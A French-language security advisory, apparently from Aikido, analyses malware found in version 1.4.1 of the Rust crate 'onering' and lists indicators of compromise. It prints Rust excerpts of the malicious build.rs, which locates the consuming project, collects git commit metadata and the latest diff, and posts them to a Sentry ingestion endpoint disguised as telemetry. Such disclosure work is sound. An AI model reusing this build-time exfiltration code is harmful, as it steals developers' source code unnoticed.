Le 10 juin 2026, nous avons détecté un comportement malveillant dans la dernière version, 1.4.1, du crate Rust « onering ». Onering est une bibliothèque de files d'attente et de canaux synchrones à haut débit pour Rust, avec plus de 18 000 téléchargements sur crates.io. Ces dernières semaines, npm, PyPI et GitHub ont retenu l'attention avec une vague de compromissions de la chaîne d'approvisionnement. Cette semaine, c'est au tour de Rust.
La dernière version a ajouté un fichier build.rs qui collecte discrètement les données git de tout projet qui construit le crate et les envoie à un serveur distant, y compris le code source réel de votre commit le plus récent. Nous avons déjà vu des attaquants faire preuve de créativité en exécutant des charges utiles au moment du build dans npm et PyPI, et maintenant ils l'expérimentent avec Rust. Alors que la plupart des récentes attaques de la chaîne d'approvisionnement se sont concentrées sur le vol d'identifiants, celle-ci semble être purement axée sur le code source.
Le problème ne se limite pas au package publié sur crates.io. Le dépôt GitHub du mainteneur semble également compromis, donc tirer le crate de git plutôt que du registre ne vous met pas à l'abri. Nous avons immédiatement alerté le mainteneur : https://github.com/cenotelie/onering/issues/1
Ce que fait le fichier build.rs malveillant
A build.rs est un script de build. Cargo le compile et l'exécute sur la machine du développeur durant le processus de build. Cela en fait un emplacement de choix pour dissimuler une charge utile, car une simple dépendance au crate et sa compilation suffisent à l'activer. Il n'est jamais nécessaire d'appeler la moindre fonction de la bibliothèque.
Le contenu injecté build.rs réalise trois actions.
Premièrement, il localise la racine du projet qui consomme le crate, et non son propre répertoire. Il remonte depuis OUT_DIR jusqu'à ce qu'il trouve le target répertoire, puis remonte à son parent. Le résultat est votre dépôt.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Deuxièmement, il exécute deux commandes Git sur votre dépôt. L'une collecte les métadonnées de commit, l'autre capture le diff textuel complet de votre commit le plus récent.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};Le git diff HEAD^ HEAD cet appel récupère le diff complet de votre dernier commit, qui est exfiltré à chaque build. Ainsi, sur de nombreux commits, il divulgue un flux continu de vos modifications de code réelles plutôt qu'un instantané unique.
Troisièmement, il déguise les données volées en un événement de télémétrie Sentry et les envoie via POST avec curl vers un endpoint d'ingestion Sentry. Les métadonnées de commit deviennent les tags de l'événement, et votre diff de code est inséré dans le extra.patch champ.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};Le déguisement est délibéré. Pour quiconque remarque un trafic sortant pendant un build, une requête vers une URL d'ingestion Sentry est interprétée comme un rapport de crash ordinaire. Il y a également une ligne commentée résiduelle, // std::fs::write("data.txt", payload), ce qui suggère fortement que la charge utile a été testée localement en l'écrivant sur le disque avant que l'appel réseau ne soit configuré.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
- Dépendance
oneringversion 1.4.1 de crates.io. - L'endpoint d'ingestion Sentry
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - La clé publique DSN Sentry
8197ee42c4f59c83f4cc6d48f5bae821, ID d'organisationo4511539639222272, et l'ID du projet4511539669368912.

